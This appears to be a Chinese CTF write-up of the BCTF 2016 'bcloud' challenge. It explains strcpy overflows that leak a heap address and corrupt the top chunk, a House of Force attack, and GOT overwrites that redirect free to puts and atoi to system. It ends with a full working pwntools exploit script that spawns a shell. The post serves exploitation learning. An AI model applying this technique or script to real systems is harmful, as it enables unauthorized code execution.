zoukankan      html  css  js  c++  java
  • Attack Top Chunk之 bcloud

    前言

    这是 bctf 2016 的题,链接

    https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200
    

    相关资源

    https://gitee.com/hac425/blog_data/tree/master/bcloud
    

    正文

    首先程序开启的保护

    haclh@ubuntu:~/workplace/bcloud$ checksec bcloud 
    [*] '/home/haclh/workplace/bcloud/bcloud'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE
    
    

    Partial RELRO 可以改 got

    paste image

    在  init_some 里面藏着两个非常隐蔽的漏洞。进去看看,首先调用 get_username 获取一个 name

    paste image

    首先使用 read_to_buf 获取 name, 最大大小为 0x40, 然后 malloc 一块内存用于存放 name,

    paste image

    如果我们输入 0x40 个字符, 那么 name[0x41] = x00, 回到 get_username ,我们发现 nameptr 是相邻的

      char name; // [esp+1Ch] [ebp-5Ch]
      char *ptr; // [esp+5Ch] [ebp-1Ch]
    

    那么 name[0x41] 其实就是 ptr 最低字节(小端模式下), 在 read_to_buf 之后才通过  malloc 把分配的指针存在了 ptr, 所以 ptr 会覆盖掉 read_to_buf 中为字符串设置的 x00 终结符(name[0x41] = x00), 接着又用了

    strcpy(ptr, &name);
    

    来拷贝字符串,这就会把 ptr 的值也拷贝进  ptr 指向的堆内存(溢出)。拷贝完后,紧接着会调用 printf 打印 ptr 所指向的字符串,我们就可以泄露 堆地址

    paste image

    调试验证一下, 输入 0x40a, 然后在调用 strcpy 处下个断点。

    paste image

    可以看到, name 字符串的终结符 x00 已经被 新分配的内存地址 0x0804c008 给吃掉了,调用 strcpy 就会把 ptr 的值一起拷贝进 新分配的内存 0x0804c008 , 接下来的 printf 就会打印出这个地址,这样就能拿到  堆地址 了。

    回到 init_some 函数,接下来会调用 set_host_org

    paste image

    get_username 一样的漏洞

      char org_; // [esp+1Ch] [ebp-9Ch]
      char *org_ptr; // [esp+5Ch] [ebp-5Ch]
      int host_; // [esp+60h] [ebp-58h]
      char *host_ptr; // [esp+A4h] [ebp-14h]
    

    首先分配读入 org_  和 host_ ,然后分配 host_ptrorg_ptr, 其中 org_org_ptr 是相邻的 ,而 org_ptrhost_ 是相邻的,所以当输入 0x40 字节的  org_ 然后 到了最后的

    strcpy(org_ptr, &org_);
    

    就会 把 org_ , org_ptrhost_ 一起拷贝到  org_ptr 所指向的内存.

    由于 org_ptr 是后面 malloc 的,所以 org_ptrtop chunk 相邻,于是我们就可以溢出 top chunk, org_ptr 的值会在 top chunkpre_size 为, 而 top chunksize 位则为 host_ 的开始 4 个字节。所以我们现在可以任意修改 top chunksize 位。

    然后在 new_note 里面,我们可以控制分配的大小,而且我们可以 分配最多 10note

    paste image

    所以我们现在的能力

    可以修改top chunk的 size
    可以控制 malloc 的参数
    可以malloc的次数 >= 2
    

    house of force 搞起来,通过 house of force  我们可以 malloc 到任意地址。

    先覆盖 top chunksize0xffffffff, 然后使用计算公式 ( 32 位)

    evil_size = target_addr - 2 * 0x4 - top_chunk_addr
    
    

    然后在

    malloc(evil_size)
    ptr = malloc(size)
    
    

    那么 ptr 就是 target_addr + 2 * 0x4 了( pre_size + size = 2 * 4 )。

    再配合程序的 edit_note 就可以实现 任意地址写。

    任意地址写的实现如下

    首先使用 house of force, 使得 note1 指向 note_ptr_table

    paste image

    接着操作 note1, 就是编辑 note_ptr_table 。同时每次对 note_ptr_table 的操作都要记得 note_ptr_table[1] = note_ptr_table, 这样可以维持编辑 note_ptr_table 的能力,同时在后面可以重用这部分代码来 进行 内存 写。

    由于  note0size=evil_size ,其实这是个负数,测试时对 note0 进行 edit 有一两个字节写不进去,于是,多分配一个 note2, 用它来作为 ** 任意地址写** 的载体。

    paste image

    任意地址写的代码片段如下,(懒的抽出来重写一个函数了

    paste image

    为了 getshell, 还差一个 libc 的地址,然而程序里面没有提供 输出的功能,我们可以把 free@got 改成  puts@plt, 之后调用 free(ptr) 就是 puts(ptr) , 而 ptr 使我们可控的

    paste image

    于是任意地址读实现。

    整理一下利用过程

    • get_name 处利用漏洞,拿到 heap 的地址,计算 top chunk 的地址
    • house of force 分配到 note_ptr_table 的地址
    • 利用 edit 功能实现任意地址写
    • free@got 改成  puts@plt,实现任意地址读
    • puts@got 拿到 libc 的基地址
    • 修改 aoti@gotsystem
    • 发送 sh , 触发 aoti("sh"), 实际执行的是 system("sh")

    参考

    http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html

    最后的 exp

    #/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    from pwn import *
    
    # context.terminal = ['tmux', 'splitw', '-h']
    context(log_level='debug')
    p = process("./bcloud")
    
    gdb.attach(p,'''
    bp 0x08048829
    c
        ''')
    pause()
    
    p.recvuntil("Input your name:")
    p.send("a" * 0x40)
    
    
    
    p.recv(0x44)
    p.recv(0x44)
    heap = u32(p.recv(4)) - 0x8
    top_chunk_addr = heap + 216
    
    
    
    log.info("got heap: " + hex(heap))
    log.info("got top_chunk_addr: " + hex(top_chunk_addr))
    pause()
    
    p.recvuntil("Org:")
    p.send("b" * 0x40)
    
    
    
    
    payload = p32(0xffffffff)  #  top chunk 的 size 位
    payload += "c" * (0x40 - len(payload))
    p.recvuntil("Host:")
    p.send(payload)
    
    bss_addr = 0x0804B120   #  note_ptr_table 的地址
    evil_size = bss_addr - 8 - top_chunk_addr -8 # 计算一个size , 用于在第二次 malloc 是返回 bss_addr
    log.info("evil_size: " + hex(evil_size))
    log.info("set top chunk size: 0xffffffff")
    pause()
    
    p.recvuntil("option--->>")
    p.sendline("1")
    p.recvuntil("note content:")
    p.sendline(str(evil_size - 4))   # malloc(len + 4), note0
    p.recvuntil("Input the content:")
    p.sendline("a" * 4)
    
    p.recvuntil("option--->>")
    p.sendline("1")
    p.recvuntil("note content:")
    p.sendline(str(0x40))       #  此时分配到 note1,  note1 ---> bss_addr
    p.recvuntil("Input the content:")
    
    free_got = 0x0804B014
    puts_plt = 0x08048520
    puts_got = 0x0804B024
    payload = p32(free_got)
    payload += p32(bss_addr)  # 为了维持控制,使得 note_ptr_table[1] 的值始终为 note_ptr_table 的地址
    
    p.sendline(payload)
    
    
    ## note 2
    p.recvuntil("option--->>")
    p.sendline("1")
    p.recvuntil("note content:")
    p.sendline(str(0x40))
    p.recvuntil("Input the content:")
    p.sendline("a" * 4)
    
    
    log.info("note0--->free@got , note1--->ptr_table")
    pause()
    
    p.recvuntil("option--->>")
    p.sendline("3")
    p.recvuntil("Input the id:")
    p.sendline(str(1))
    p.recvuntil("Input the new content:")
    
    payload = p32(free_got)
    payload += p32(bss_addr)
    payload += p32(free_got)   # target addr , 要写的地址
    payload += p32(puts_got)
    p.sendline(payload)
    
    p.recvuntil("option--->>")
    p.sendline("3")
    p.recvuntil("Input the id:")
    p.sendline(str(2))
    p.recvuntil("Input the new content:")
    p.sendline(p32(puts_plt))   # data to write,要写的数据
    
    log.info("free@got ---> puts_plt")
    pause()
    
    
    p.recvuntil("option--->>")
    p.sendline("4")
    p.recvuntil("Input the id:")
    p.sendline(str(3))
    
     
    
    libc = u32(p.recvuntil("Delete success.")[1:5]) - 0x5fca0
    system = libc + 0x3ada0
    log.info("libc: " + hex(libc))
    log.info("system: " + hex(system))
    pause()
    
    
    
    p.recvuntil("option--->>")
    p.sendline("3")
    p.recvuntil("Input the id:")
    p.sendline(str(1))
    p.recvuntil("Input the new content:")
    
    
    aoti_got = 0x0804B03C 
    payload = p32(free_got)
    payload += p32(bss_addr)
    payload += p32(aoti_got)
    p.sendline(payload)
    
    
    p.recvuntil("option--->>")
    p.sendline("3")
    p.recvuntil("Input the id:")
    p.sendline(str(2))
    p.recvuntil("Input the new content:")
    p.sendline(p32(system))
    
    
    log.info("aoti--->system")
    pause()
    
    p.sendline("sh")
    p.interactive()
    
  • 相关阅读:
    MVVM架构~knockoutjs系列之表单添加(验证)与列表操作源码开放
    MVVM架构~knockoutjs系列之验证成功提示显示
    MVVM架构~knockoutjs系列之正则表达式使规则更灵活
    郁闷~win7无法进行局域网访问解决
    不合规范的html段落php处理细则
    备份一个通过拷贝来创建虚拟机镜像的脚本
    [置顶] ffmpg简介以及用它实现音频视频合并(java)
    [Java] HttpClient有个古怪的stalecheck选项
    POJ 1260 Pearls
    “AIR SDK 0.0: AIR SDK location “...devsdksAIRSDKWin” does not exist.”问题解决~
  • 原文地址:https://www.cnblogs.com/hac425/p/9416712.html
Copyright © 2011-2022 走看看